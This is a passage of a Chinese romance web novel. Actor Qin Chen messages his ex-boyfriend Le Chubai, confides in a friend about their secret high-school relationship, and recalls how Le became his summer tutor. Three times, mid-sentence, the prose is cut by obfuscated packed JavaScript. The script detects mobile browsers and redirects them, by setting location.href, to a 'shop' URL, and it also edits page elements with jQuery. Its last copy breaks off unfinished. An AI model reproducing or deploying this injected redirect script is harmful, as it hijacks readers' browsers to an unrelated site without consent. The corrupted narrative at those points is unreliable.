乐初白合上行李箱,拉好拉链,站起身面对着他,等他说完后面的话。 秦琛往前走了几步,站到他面前,关掉乐初白身后的收音麦,低声说:“所以,这三个月里,麻烦你注意一下同事情谊。” “……我知道了。” “乐初白。” 许久没有听到他这样喊自己了,乐初白目光一闪,不自觉抓紧了外套袖子。 秦琛说:“不要再忽视我了。” 20. 微信 除了乐初白行程冲突先一步离开,其他人都是录制完下午的画面才走,《一步一脚印》的拍摄暂告一段落。 距离下次录制还有十天,秦琛回到云江,被经纪人关在健身房练了两天,才安排他去拍摄写真。 这次给他挑了两组风格,春日田园风和复古港风。 都是外景拍摄,一大早的,秦琛就到了指定的庄园,一个很小众的地方,提前和庄园主沟通过,划了一块地出来给他们拍照。 走到场地时,已经有工作人员在置放道具搭景了,时暮在一旁的野餐椅上坐着闭目休息。 秦琛一边走过去一边喊道:“哟,时老师——” 本来早起上班就烦,短暂休息会儿还要被吵醒,时暮抬眼看了一眼,见秦琛还是素颜的模样,没等他走到跟前,抬手指了指他,又指了下化妆间,道:“化妆去,别嬉皮笑脸。” “好嘞!”秦琛脚步一转就往化妆间走去。 突然的这么配合,时暮倒有些意外,问了问跟在秦琛后面的助理小蓠:“他录节目把脑子摔坏了?” 小蓠:“可能是吧,他这几天有点亢奋。” 亢奋的秦琛没有摔坏脑子,只是因为在录制结束那天又拿到了乐初白的联系方式。 不过至今没有给乐初白发过消息,总觉得他不会想看自己无趣的日常。 今天好不容易逮到一个工作机会,现在正美滋滋地要跟人发消息。 秦琛对着镜子拍了张照,露出自己半张脸和堆满一桌的化妆品。 【QAQ:早,今天来找时老师拍照了。】 发出去后,他五秒钟就要看一眼屏幕,等待乐初白的回复。 Yuki在一旁调配好粉底液,刚用刷子沾了一点要往他脸上铺,秦琛突然皱着眉,用手撑着下巴,一脸的不开心。 “又干什么?”Yuki把他的手掰下来,“能不能配合工作,给你化妆真是费劲儿。” “姐,为什么乐初白不回我?”秦琛嘀嘀咕咕的,死死盯着手机的聊天页面。 Yuki把他的脑袋抬起来固定住,开始给他上粉底,一边说道:“有什么稀奇的,我也不爱回你消息。” “……” 想起了什么,Yuki道:“而且,他不是去丹麦了吗?这个点人家在睡觉吧?” 秦琛一愣,恍然大悟,又把自己哄好了。 没错,都是因为时差,所以乐初白才没有回消息,他以前可是每条消息都会回的呢,现在肯定也不例外。 等待是必修课,他从来不介意等乐初白。 乐初白的事情解决完了,他要开始解决Yuki不回他消息这件事了。 “姐,粉底太厚了吧。” “你瞎啊,我才铺了一层。” “……” 上眼影时,秦琛又开始找茬:“这颜色不好看,换一个。” “时老师要求的,你去和时老师说。” “……” 挑口红色号,秦琛又挑挑拣拣,嫌弃这个嫌弃那个,气得Yuki拿着口红威胁他:“再吵就往你脸上涂,你今天发癫啊。” 秦琛弱弱地嘟囔:“谁让你不回我消息。” “神经病,昨天给我发健身房器材坏了,我能怎么办,说我去给你修吗?” “那你是我姐,跟弟弟聊聊天不行吗?” “我有空当然会回你,但是秦琛,你别总像个小孩子,要不到东西就闹。”Yuki道,“你今天跟我找茬儿就算了,换做是别人,你耍大牌的消息就要传出去了。” 秦琛捏着美妆蛋解压。 “走了,去拍照。” 庄园里会拍摄三套衣服,第一套是简单的白T恤和驼色直筒裤,头发梳了个微分碎盖,右耳有一枚银色的星型耳钉,在阳光下泛着光,不过不会太显眼。 大草地上摆了实木的小圆桌和椅子,桌上放着浮雕骨瓷茶具和三层点心架,旁边细长花瓶里插了新鲜的美国小姐芍药,高低错落,染上阳光的颜色,像一幅油画。 座位上还有一本博尔赫斯的《另一个,同一个》,用来给秦琛摆拍。 秦琛拿起书,自己坐到位置上,随手翻到中间某一页看了看,不是他喜欢看的,或许给乐初白更合适。 一想到乐初白,秦琛的嘴角就控制不住要上扬,于是呈现在时暮镜头里的就是一张要笑不笑的脸。 时暮都懵了,他应该按快门吗?秦琛会允许自己这样的表情流出去? 出于好心,时暮还是提醒一句:“秦老师,你别笑那么奇怪。” “啊?”秦琛才反应过来,轻咳了一声,缓解尴尬,重新摆好姿势。 时暮指导他摆下一个动作:“拿茶杯喝茶,书搁膝盖上。” 秦琛照做,茶杯抵在唇边,清淡的茶香环绕在鼻尖。 唔,是乐初白爱喝的红茶。 “很好,杯子拿开一点,看向对面。”时暮忽地笑了一下,“现在你可以笑了,别笑那么怪就行。” “……”秦琛扯起一个温和的笑,眼神却恶狠狠地望向时暮。 “头转回去。”时暮毫不客气地说。 对面是空空的椅子,他却还要做出深情的眼神。 中间的芍药挡住一半的椅背,有风轻轻吹过,花瓣儿晃了晃,晃得他意乱。 如果对面坐的是乐初白,他应该会支着下颌,偏头看向一侧的大草地,风会将他的头发微微吹动,像摇曳的芍药。 想着想着,不必靠演,他的眉眼也在瞬间柔和下来,整个表情没有摆拍的痕迹,就是自然的、生动的,如果对面真的坐了人,恐怕真的会溺在他的眼神里。 时暮连按好几下快门,满意地赞叹:“这张好,这张你一定要单独发一个微博,算了你直接设成微博头像吧。” “……”秦琛道,“不换。” 他的微博头像是从出道用到现在的,一张模糊的旋转飞椅的照片,靠着背影和小半张侧脸,隐约能分辨出是秦琛本人。 那张照片其实拍得不怎么样,因为阳光的问题,画面过曝,不过胜在传递出来的感觉是快乐的。 时暮也不是一定要他换头像,虽然他觉得刚才的照片里,秦琛温润得像被人附体了,但不得不承认,那张图会是被粉丝拿去各种安利的。 这一套衣服结束,秦琛回去换装,时暮在电脑前先开始第一轮挑图。 第二套衣服是牛仔夹克和工装裤,他们问庄园主要了一只小羊,在广阔的大草地上跑了两圈。 和上一组的优雅格调不同,这次拍摄出来的感觉是自由又热烈的,是最贴近秦琛本人的一组照片。 赶在中午太阳最烈之前,把第三组森林之子的图也拍完了。 落叶被风卷起,身着黑色斗篷的男人漫步在浓雾弥漫的枫树林里,脸上划了一道血痕,目光凌厉地扫视着周遭的一切。 发现有人闯入,他拿起手里的面具,嘴角勾起,慢慢将诡异的面具戴到脸上。 三种不同的风格,要不是中途换装给了他缓解的时间,秦琛都觉得自己要精神分裂了。 下午的港风写真进展就很顺利了,一行人顺便就在附近找了一家冰室吃晚饭。 坐到包厢里,时暮才终于问出今天一直很好奇的事情。 “我怎么感觉你今天和以前不太一样?” 包厢里只有他们两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513508|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,秦琛在手机上点餐,一边回答道:“哪里不一样?不还是这么帅。” “……”时暮直接无视他的自恋,又问道,“你谈恋爱了?” 秦琛手一顿,抬眼看他:“什么?” “没谈吗?那你怎么一天都在走神儿,还总是对着手机傻笑。” “……”秦琛把手机给他,“没谈,你先点菜吧。” 时暮点菜的间隙里,秦琛给自己倒了杯热茶,说:“不过有点进展。” “哦?” “我拿到他微信了!” 时暮:“就这?” “干嘛这个表情,这是很大的进步好吧。” “所以是跟他聊天所以一直傻笑?” 秦琛眼神闪躲,含糊其辞:“他还没回我……” 时暮乐了。 点完餐准备把手机还给秦琛时,屏幕上方弹出一条新消息,听到消息声,秦琛几乎是从椅子上弹了起来,伸长手臂接手机。 喜滋滋地点开消息,果不其然是乐初白的消息。 【小不:好好工作。】 秦琛等了片刻,并没有新的消息弹出来,只有这短短四个字。 脸色肉眼可见的颓丧下来。 时暮见状问道:“怎么了?不是他的消息?” “是他。”秦琛叹道,“就发句好好工作,我都工作完了!” “你也有今天。”时暮失笑,“大少爷,你别是搞什么穷追烂打这一套啊,把握不好那个度,人家只会觉得你烦。” 秦琛辩解道:“我没有!我就发了两条,很克制了。” 所以他想不通乐初白这句话背后的情绪,是敷衍还是别的什么。 【QAQ:我收工了。】 乐初白这次回得很快。 【小不:那好好吃饭。】 秦琛有点不开心,又发了一条消息过去。 【QAQ:我要是吃完饭了呢?还要好好干什么?】 有几分赌气的意思,发出去后他在想,说不定乐初白真的会回一句“好好睡觉”。 【小不:我工作了。】 秦琛:“……” 手指在桌上敲了几个来回,抿着唇想了想,秦琛接着回消息。 【QAQ:我拿到你微信三天了,今天才给你发消息。】 【QAQ:我不烦人的。】 乐初白似乎真的去工作了,一直到秦琛吃完饭回家都没有回复。 等得有些着急了,心想哪个剧组这么忙,不给演员一点休息时间啊。 他给小蓠发了个信息。 【QAQ:有没有乐初白助理的微信?】 【小蓠:有。】 【QAQ:推给我。】 【小蓠:?】 虽然疑惑,但小蓠还是很快把华玥的微信名片推了过来。 华玥回消息比他老板快多了。 【乐初白的小助理:秦老师您好,有什么事儿吗?】 【QAQ:乐初白呢?】 【乐初白的小助理:我们刚收工,正在回去的路上。】 【QAQ:他手机丢了?】 【乐初白的小助理:没啊,我刚给他,他还在和人发微信呢。】 和人发微信…… 秦琛“呵”了一声,跟谁聊呢?就是不理我是吧? 他刚退出和华玥的聊天界面,等待已久的人从下方一跃而上,带着红色小圆点停在最上方。 【小不:嗯。】 等了好一会儿,上方才显示对方正在输入中。 【小不:我知道。】 秦琛不自觉弯了嘴角,还是四个字,但哄好了。 21. 同学 工作的几天里,秦琛都在数着日子,等下一期节目录制,这个状态倒像是他以前上学时,放假了就想上学,上学了就可以看到想见的人。 连小蓠都看得出他工作时的心不在焉,今天是新角色杀青的日子,按理说秦琛应该挺兴奋的,然而今天却频频NG,整个人看起来蔫蔫的。 午饭时间,回到房车上后,小蓠问道:“哥,你今天身体不舒服吗?” 秦琛道:“没啊。” “那你今天也NG太多了吧,我感觉导演都要生气了。” “男主在那改词加戏,我昨天背的台词全作废了,怎么演?”秦琛说起这个就烦,闷闷地吃着饭,“我是什么很牛的人吗,几分钟就能背下来台词?” 小蓠也知道,但男主是关系户,连导演都要给他几分面子。 秦琛最恨这些没本事的加戏咖关系户,还好二人的对手戏不多,不然秦琛可不觉得自己能忍到杀青。 下午只有最后一场戏了,秦琛现在没什么心思去想这些。 “那个……” 小蓠:“怎么了哥?” 秦琛问:“下期《脚印》录制,有人缺席吗?” “唔……好像没有。”小蓠想起了什么,道,“对了,导演组那边安排了饭局,算是补开机宴,后天晚上七点。” “现在开?” “因为之前嘉宾要保密嘛,所以才推迟到现在。” 秦琛思索了片刻:“都参加?” “这个我不清楚,如果哪位老师有通告撞了档期……”小蓠突然停下,想到秦琛问的两个问题,结合他最近不太正常的反应,试探性地问,“哥,你是不是想问乐老师?” 秦琛倒没有被人点破后的尴尬,挑挑眉,直白地问:“对,他什么时候回国?” 小蓠撇嘴:“我是你的助理,乐老师的行程我怎么会知道呢?而且你们不是有微信?为什么不直接问?” 秦琛不是没想过,这段时间和乐初白发过几次消息,对方回复都很简单,看着冷冰冰的文字也猜不出他的语气。 乐初白也不会主动找他,无非是秦琛问什么他答什么,秦琛分享一下天气,在外的话他就随手拍张天空的照片,在室内就只回一句“晴天、雨天、多云……”。 多发点怕他觉得烦,不发消息自己又觉得难熬,加上时差问题,等待回复的时间更难熬,他也不能像对着Yuki那样,对乐初白说为什么不回消息。 “问的到我就不问你了。”秦琛小声嘀咕。 “那要不……”小蓠建议道,“我问问华玥?” 秦琛立刻道:“是你要问的,不是我让你问的,和华玥说清楚。” 小蓠:“……” 下午秦琛又多等了一会儿睡懒觉的男主角,忍着气拍完了所有戏份,接过男主角递过来的花束,又装作十分热情的模样,揽住对方的肩膀拍了照片,在一声声“杀青快乐”中结束了剧组生活。 一回到房车,秦琛就将花束给了小蓠,让她处理掉,眼不见为净。 小蓠低头看花:“挺漂亮的,讨厌男主也别讨厌花呀。” 秦琛疲惫地靠着椅背:“那你带回去养。” “谢谢哥。” “有消息了吗?”秦琛问。 “什么?” 秦琛瞥了她一眼,小蓠马上反应过来:“哦哦,华玥还没回消息,可能太忙了。” 还想说什么,搁在腿上的手机疯狂震动起来,秦琛低头看了一眼,有些意外,捞过手机接起:“唐维?” 电话那头传来唐维兴奋地声音:“哟秦哥,在忙不?” “刚忙完,怎么了?” “我来云江出差几天,刚下飞机,今晚有空不,喝一杯啊?” “行啊。”秦琛一口答应,“最近有狗仔跟我,你直接来我家吧,地址待会儿发你。” “那敢情好啊,我马上到!” 挂断电话,秦琛扭头问小蓠:“我明天有工作吗?” 小蓠记自己的休息日可太清楚了,直接答道:“没有。” 没有工作的秦琛,从冰箱里搬了几打啤酒出来,也不担心第二天睡醒水肿,只要不照镜子,他就没肿。 唐维规规矩矩地坐在沙发上,秦琛取了小龙虾外卖回来,放在餐桌上,看着唐维笑道:“在我面前装什么老实,跟被夺舍一样。” “你这说的,”唐维起身,走到餐桌边坐下,看着两大盒小龙虾,道,“你怎么,打算退圈了?吃这么高热量的东西可以吗?” “不至于吃一顿就胖成猪,总不能你来了,我干坐着陪你吧。” 秦琛打开一瓶冰啤酒递给唐维:“怎么下飞机了先来我这儿,成一黎呢?” “前两天去隔壁省培训了,还没回来。”唐维摇摇头,喝了一大口酒,道,“哎,我现在就是孤家寡人一个。” “说起来,你们谈了快十年了吧?”秦琛问。 “嗯,马上十一年了。” “不打算结婚吗?” 唐维忽然神秘地笑起来:“我就打算在十一周年那天求婚呢。” 秦琛:“真的?你们要结束异地了?” “你以为我为什么一直来云江出差,等熟悉了这边的业务,我准备和领导申请,调来云江工作。” 秦琛停下剥虾,抽了张湿巾擦手,很轻地笑了一声,举起啤酒瓶和他碰杯:“我真的挺羡慕你们。” 唐维疑惑:“嗯?” 要说同龄人里谈恋爱最久的,估计只有唐维了,和成一黎从高中就开始恋爱了,高中毕业后因为所报的大学不同,害怕异地的两人选择了分手。 秦琛语气中都是艳羡:“我真没想到你们因为异地分手,复合后还能异地谈这么多年。” “以前太年轻了,死脑经,说分手就分手,但是就是放不下她啊。”唐维道,“后来发现,其实异地没有那么难熬,比起永远见不到,这点时间算什么。” 秦琛慢慢转着手中的易拉罐,安静了好一会儿,然后说:“因为她也很喜欢你吧。” “当然,不然她早把我删掉了。” 秦琛忽地笑了笑:“所以……能轻易地把对方的联系方式都删掉,本质上是因为不够爱吧?” 唐维微微皱眉思考:“这很难讲,可能是赌气?” 秦琛认真地想了片刻,摇头:“不,他不是意气用事的人。” 他这反应让唐维觉得奇怪,问道:“什么啊?你被分手了?” 秦琛随便的应了一声,就当是承认了。 吃到惊天大瓜,唐维连剥虾都暂停了,一手捏着虾头,一手捏着虾身,好奇地问:“你什么时候谈恋爱了?是你哪个绯闻女友?这都没被爆出来,你们公关这么厉害?” “以前谈的,你认识。” 唐维正要问是谁,秦琛已经说了出来。 “乐初白。” “啊???”唐维一把扯断了小龙虾头。 秦琛谈过恋爱令人震惊程度10%,被分手震惊程度100%,对象是乐初白,震惊程度10000%! “不是哥们儿,你……”唐维瞠目结舌,呆呆地抓着小龙虾头往嘴里塞,咬到壳后才回过神来,说道,“你们居然瞒着我?!” 秦琛移开视线:“你也没问过。” “……这都不是重点,重点是,你们谈过!” “很奇怪吗?”秦琛摊手,“你歧视我们?” “当然不是,我是那种封建的人吗?”唐维追问道,“啥时候的事儿,谈多久了?” 秦琛郁闷道:“就高三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13513509|142241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年。” 唐维恍然大悟:“难怪……我说怎么这些年你们都不一起出来玩儿了。” 手中的啤酒又空了一瓶,秦琛在冰桶里摸了瓶新的,单手拉开拉环,“噗哧”一声,瓶口冒出一点儿啤酒沫。 “我还在想是毕业了不常联系,慢慢淡了,没想到还有这一层。”唐维像只身处瓜田的猹,“到底你们瞒得太好了,还是我太笨,天天跟着你们都没发现。” “都过去了,没什么好说的。” “那你们现在是什么情况?都在娱乐圈,抬头不见低头见的吧,不会尴尬吗?” 秦琛:“上周第一次见。” “?” “真挺尴尬的。”秦琛瘪嘴,“忠告,别分手,分手后再见面能尴尬进地里。” “……” 秦琛勾起嘴角:“不过……尴尬过后,似乎才更知道自己想要什么。” 唐维蹙眉,秦琛这话是道阅读理解吗?单听一次听不懂啊。 “不说这个了,”秦琛手动跳过这个话题,问,“你和成一黎好像高中军训就在一起了?这是打算过俩月就求婚?” “对,正好她放暑假,我休年假带她出去旅游。”唐维道,“她想去高原好久了,我准备在雪山前跟她求婚。” “这么浪漫。”秦琛笑笑,“不过你得注意一下,别高反了。” 唐维开玩笑道:“那我估计只能投影张雪山照片,跟她求婚了。” 他又道:“要是你和乐初白有暑假就好了,真想让你们做个见证。” “求婚现场怕是不行了,结婚可一定要给我们发请帖啊。”秦琛端起酒瓶,“到时候给你包个大的。” “嘿,我多有面儿啊,大明星来参加我的婚礼。” “那更有面儿些,给你当伴郎。” “这不行,一会儿大家分不清谁才是新郎了。” “…………” 嘻嘻哈哈地聊到深夜,唐维完全喝醉了,留宿在秦琛家。 秦琛还算控制,喝得不多,此时还算清醒。 把唐维安顿在客房,收拾好餐桌残局后,秦琛坐到沙发上,拿着iPad,右手手指慢慢地向左滑动。 一张张旧照片出现在眼前。 照片上的人和现在已经有很大的变化了,面上多了几分沉稳,眼中少了许多爱意。 翻到最后一张,搁在一旁的手机屏幕亮起,专门为那人设置的消息铃声,让他一下就知道是谁。 乐初白回复了他今天要杀青的事,简单的“杀青快乐”。 秦琛反手拨了个语音通话。 只响铃几声就接通了。 “乐初白。” “嗯。” 其实根本没想到要和他聊什么,就是想听一下他的声音。 两人都沉默下来,秦琛一急更找不到合适的话题,莫名地说了一句:“想放暑假了。” 乐初白应该是愣了,片刻后才轻笑一声,说:“都毕业多久了,哪里还有暑假。” “可我总觉得……” 秦琛下意识地接了一句,眼睛瞥见梅花糕竖着尾巴走过来,又止住了话。 乐初白等了一会儿都没等到后续,开口问道:“什么?” 只是觉得……太像了。 如果说节目录制对标他们认识的开始,那么暑假就是熟悉起来的契机。 回忆总在不合时宜的时候冒头,又不受控制地愈发猛烈上涌,让人无所适从,寻不到根源。 沉默良久,秦琛才慢慢吐出几个字:“太久了。” 乐初白以为他在说毕业,顺着回了一句:“是啊,已经……” 剩下的话被秦琛打断。 “久到……”他说,“想和你多说几句话,都要花一个学期。” 22. 「P」暑假 花一个学期确实不是夸张。 那时候班里组织了“四人学习小组”,前后桌四个人组成一组,互相帮助。 班主任排座位也是仔细组合过的,四个人里都有一个人对某一科更擅长,对某一科更薄弱,都能有互补。 或许其他小组是这样,但他们组不是。 他们组有个“六边形战士”,以一己之力,“排挤”了其他三个人。 乐初白嘴上说着不会的问题可以问他,但那张淡漠的脸上写满了“别来烦我”,是以三个人非必要绝不打扰他。 秦琛本来也不是多认真学习的苗子,能自己琢磨出来的就花点时间,琢磨不出的就放弃,等老师课上讲解。 他还是下了课就往外跑,原先的朋友分散在各个班级,时常有人跑到他们班级门口,喊坐在最里边的他。 不可避免的,会听见前面传来乐初白的叹气声。 不能细想是自己吵到他了还是题目太难了,但还是放轻了起身的动作。 几次考试后,班主任又一次排了座位,物理渣子秦琛被班主任委派给了乐初白。 乐初白并不擅长社交,上一任同桌是最久的,好不容易熟悉起来,又换来一个感觉合不来的人。 秦琛的成绩很一般,估计是在下游,因为乐初白每次看班级成绩表,从上往下扫一半就没耐心了,从来没看到过秦琛的名字。 班主任换完座位后找他们谈了话,让乐初白有时间的话可以带一带秦琛。 秦琛乖巧地站在一旁,偷偷瞥了乐初白一眼,见他眉头不自觉地皱了皱,表情看起来有些为难。 他也不是喜欢强人所难,正想开口解围,却听见乐初白说:“好的。” 出了办公室,二人一前一后走着,秦琛落后一步,盯着乐初白的后脑勺,犹豫着是要感谢他还是告诉他“不用勉强”。 一直到教室,他都没有想出来。 反倒是乐初白,收起了桌上的语文作业,掏出物理卷子,扭头问道:“哪里不会?” “?” 秦琛愣了一瞬,正要去拿手杯的手停在半空,反问了一句:“你要教我?” 乐初白低头看了眼他桌上摊开的卷子,连班级平均分都没有达到的大红数字,讲全部错题的话可能没那么多时间,突然想放弃,但话已经问出来了,乐初白只好说道:“讲几道还可以。” 秦琛也低下头去看自己的卷子,不知道在思索什么,乐初白看着他的侧脸,窗外的阳光照进来,落在他脸上和桌上,有些刺眼。 前桌同样受到阳光影响的同学起身,把窗帘拉了起来。 于是那张脸,失去了耀眼的阳光,又多了几分学习的困惑,变得有些丧气,却还是一样好看。 等了一会儿,乐初白开始后悔为什么开这个头。 这个时间够他写一道题了。 秦琛正要请教他,乐初白已经收回了卷子,淡淡地说:“等你需要再说吧。” “……” 乐初白感觉自己完成了一项任务,他有听班主任的话,只是对方不太配合。 渐渐的,两个人似乎都忘了这回事,和以前一样,互不干扰,安静地过完了高二的最后一个月。 * 期末考试结束,暑假来临。 夏天太热,秦琛连喜欢的机车都没怎么骑了,成天窝在空调房里玩游戏。 父母常年不在家,没有人时刻管着,让他有恃无恐,就是考砸了也不担心,撒个娇卖个惨就能混过去。 偏偏这次栽了跟头。 和前几日一样,刚打开游戏正要匹配,季吟秋的电话就进来了。 好在没有手快点了就位,不然该被队友骂死了。 秦琛接起电话,语气轻快地喊道:“妈妈,又想我了吗?” 季吟秋:“是是是,吃过饭了吗?” “吃了。”秦琛躺倒在沙发上,望着天花板,问道,“找我什么事啊?” “大事儿,前几天忘记问你了。” “能有什么大事儿问我,又要给我买房子吗?” “想得美。”季吟秋笑骂了他一句,切入正题,“宝宝,成绩单给妈妈看一下。” 秦琛:“…………” “你也是的,出成绩了就该第一时间和妈妈说呀,男子汉大丈夫,坦坦荡荡地把成绩单甩出来多帅气,你看现在,又尴尬了。” 秦琛打马虎道:“哎呀,不知道被我扔哪里了,等找出来了再给你看。” 季吟秋可没那么好糊弄:“哎呀,以我对你的了解,放假到现在,书包都没打开吧?” 见躲不过去了,秦琛一个鲤鱼打挺从沙发上起身,回卧室去找成绩单。 一边在书包里翻翻找找,一边嘀咕:“看完不可以骂我,这次很难,很多人都没考好,我要是考好了你们才应该报警。” 季吟秋:“……” 饶是季吟秋做足了心理准备,在看到成绩单时还是两眼一黑。 秦琛听见她在喊他爸拿救心丸,把成绩单翻了个面:“至于吗,我觉得发挥得还行啊。” “我的宝宝啊,妈妈这辈子没看过这么多不及格嘞。”季吟秋说完又自我安慰道,“唉,不是零蛋又还行。” “……” 他想为自己辩解一番,秦博远的声音传来:“秦琛,听说你生日骑机车去了?” 闻言,秦琛顿时汗流浃背。 “我……” “别以为我不知道,跟你说十八岁之前不允许骑车,你还真会卡着点啊。” 连环的盘问让秦琛有些招架不住,两个事情都严重,但似乎前一个更好解决。 “爸,我们聊聊成绩就好了,我已经很久没骑了。” 这段时间确实没有收到“眼线”的举报,秦博远暂时放过他,重新谈起他的学习问题:“我和你妈准备给你请家教。” “家教?”秦琛一愣,“为什么?” “什么为什么,你这个学习态度,怎么考大学?你以为考戏剧学院只看专业成绩吗?文化课这么烂,哪个学校敢要你?” 秦琛嘟囔:“我自己能学。” “能学就学成了这样?”秦博远道。 气氛有些僵持,季吟秋出来打圆场,轻声细语地跟秦琛说:“宝宝啊,咱先试着找个家教,要是觉得不好,妈妈再给你报辅导班?或者我回去陪你?” 二人工作一直很忙,经常到处出差,捡着空了就回来看他一下,然后又急匆匆地去别的地方。 好在哪怕忙,每天还是能抽出时间和秦琛打打电话聊聊天,该有的关心都是到位的,这样的生活倒是让一贯不喜欢被约束的秦琛更自在。 秦琛也不和他们对着干了:“你们忙就别来回折腾了,请家教就请吧,我会学的。” “好,明早妈妈去给你找几个,到时候你看看喜欢哪个老师,就让他辅导你到高考好了。” “嗯。” “好了,你早点睡觉,玩游戏可以,要适度,注意眼睛。” “我知道的。” 挂掉电话,秦琛重重地叹了一口气,这下好了,又要被人管着了。 心情有些不畅快,秦琛起身走动厨房,打开冰箱想灌瓶冰可乐,好巧不巧,下午的时候喝完了最后一瓶。 没办法,只好下楼去买了。 今天意外的没那么热,可能是过几天要下雨,今天起风了,吹在身上还算舒服,路上有晚归的上班族,也有和他一样在散步的路人。 秦琛走着走着似乎忘了自己出门的目的,路边随便一间小卖部都有的可乐,他却路过了好几家,直到跟着人群站在路边等红绿灯,才想起自己出门是做什么的。 红灯变绿,行人匆匆往前走,秦琛转过身,就近找了一家便利店进去,到冰柜前找可乐。 便利店还没补货,货架有些空,不过来都来了,秦琛顺便又挑了些吃的,以防哪天饿得还要下楼觅食。 他站在零食架前挑着薯片,一旁员工休息室的门被人打开,一个中年男子从里面走出来,看见秦琛后跟他说道:“小伙子,今天全场八折,可以多挑点儿。” 说完便往收银台走去。 店里只有他一个顾客,播放的音乐很轻柔,中年男人似乎在和店员说话,秦琛挑选着零食,无法避免地听到他们零星的谈话。 “我们准备关店了……所以明天就不用再来了,今天就上到这里吧,工时给你按九点半的计算,工资等今晚我算好了,一次性发给你。” 原来要关门了,难怪货架这么空也不补货,还以为生意好到来不及补货呢。 “我知道了,谢谢张叔。” 比中年男子更清澈的嗓音响起,秦琛悄悄从货架后探出脑袋,想八卦一下,却意外地看到熟悉的身影。 那是……乐初白? 他居然在这儿打工? 不用学习的吗? 不学习成绩还这么好,他是变态吗?? 乐初白脱掉小马甲,叠好放在收银台上,和中年男子又聊了几句,然后背上自己的包走了。 秦琛把脑袋收回来,又挑挑拣拣拿了几包水果糖,提着小框去结账。 提着一大袋零食原路返回,路上的人比之前少了不少,秦琛慢慢走着,忽然在公交站台的长椅上,看到呆呆坐在那里的乐初白。 这个点怕是只有几路公交车的末班车还有,也不知道他能不能等到。 秦琛不知道自己在这里站了多久,站台驶过几辆公交车,乐初白依旧坐在那里没有动。 橙黄色的路灯隐在茂密的梧桐叶里,只吝啬地透出几缕光,但晚风大气地吹开了叶子,暖光就这样落在了乐初白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乐初白不明所以:“我怎么?” “你是怎么做到学这点时间,成绩还这么好的?!” “啊?”乐初白一愣,他突然不知道怎么回答这个问题,“我……就上课认真听啊。” “那我怎么没这样的成绩。”秦琛嘀咕。 乐初白无情戳穿他:“你上课老走神儿,又转笔又折书页角。” “……”秦琛生硬地转移话题,“你还不回家吗?公交车还没来?” “已经过了。” “那你怎么回去?” “没有很远,走回去也可以。” 从语气中听得出他情绪不高,虽然他平日里也是一副冷冷的模样,但不会像今天这样这么低能量,像是碰一下就要倒到地上。 “诶,你饿了没?”秦琛弯腰在袋子里翻找,“吃饭团吗?还是三明治?看起来挺好吃的。” 他直起身,一手一个,摆在乐初白面前让他选。 乐初白看了眼他手里的东西,又抬眼看他,眉眼浓烈张扬,在光下明亮亮的眼睛,像是会把人吸进去后无力抵抗的漩涡。 “不用了。”乐初白道。 秦琛挑眉,自顾自地撕开了饭团的包装,塞到他手上,自己啃着三明治。 “别浪费。” “……” 乐初白没辙,单手拿着饭团,慢吞吞地吃着。 他们好像没有这么长时间聊过天。 他其实不太擅长与人社交,不会找话题,嘴巴笨,不论和几个人在一起,总会努力将自己的存在感降到最低。 此时和不算熟悉的秦琛并排坐着,在路边吃东西,莫名的没有曾经那些心力交瘁的感觉,反之是一种极其罕见的放松。 “乐初白,你干嘛这么努力赚钱?又上学又打工的,很累吧。” “攒生活费,还好。” “你家里……”秦琛嘴快地说出来,很快反应过来这个问题有些冒犯,马上闭嘴。 乐初白像是没有听见,安静地吃完最后一口饭团。 秦琛又从袋子里摸出一瓶芒果酸奶给他,乐初白看了一眼,没有接。 “你喜欢芒果?” 连随身携带的糖果都是芒果糖。 秦琛答道:“喜欢啊,夏天就要吃芒果。” “不好吃。”乐初白道。 “那你喝别的,”秦琛一边翻一边问,“草莓?桃子?芝士?” “桃子吧。” “我猜也是。” 酸奶还是冰凉的,秦琛伸长双腿,悠闲地晃晃脚。 他闲不住,又问道:“那以后怎么办?找新的兼职吗?” “嗯。” “不太好找吧。” 乐初白很轻地叹了一口气:“有点难。” 蓦地想到什么,秦琛说:“你来当我的家教老师吧!” 家教? 乐初白一时间没理解,怔怔地看向他。 秦琛侧头,那双漂亮的眼睛很久没有盯着自己看这么久了。 他弯起眼,笑着说:“我有很多问题不会,你不是说可以问你吗?” 23. 「P」家教 第二天午后,天气炎热干燥,乐初白在小区门口保安室等着秦琛来“赎”他。 背着书包,手搭在膝盖上,坐得笔直又拘谨。 “喂?小秦啊,有个小同学说找你啊?”保安大叔带着一股浓厚的宁城口音给秦琛打电话。 “长得……”不知道秦琛和他说了什么,大叔回过头看盯着乐初白看了一眼,又道,“小杆子长蛮帅的嘛,就是不爱说话。” “哦,是你朋友啊,你下来接人还是让他直接上去?” “行行行,屋里坐着呢,没晒太阳,你快些的来。” 挂了电话,大叔对乐初白说:“等等啊,他来领你走,那边花园有点儿绕,你第一次来怕是难找路。” “谢谢。” 等了一会儿,秦琛撑着遮阳伞赶来,敲了敲保安室的玻璃门,然后推开条缝,探进一颗脑袋,笑着喊人:“下午好啊叔。” “来了,这儿呢。”大叔指了指身后的乐初白。 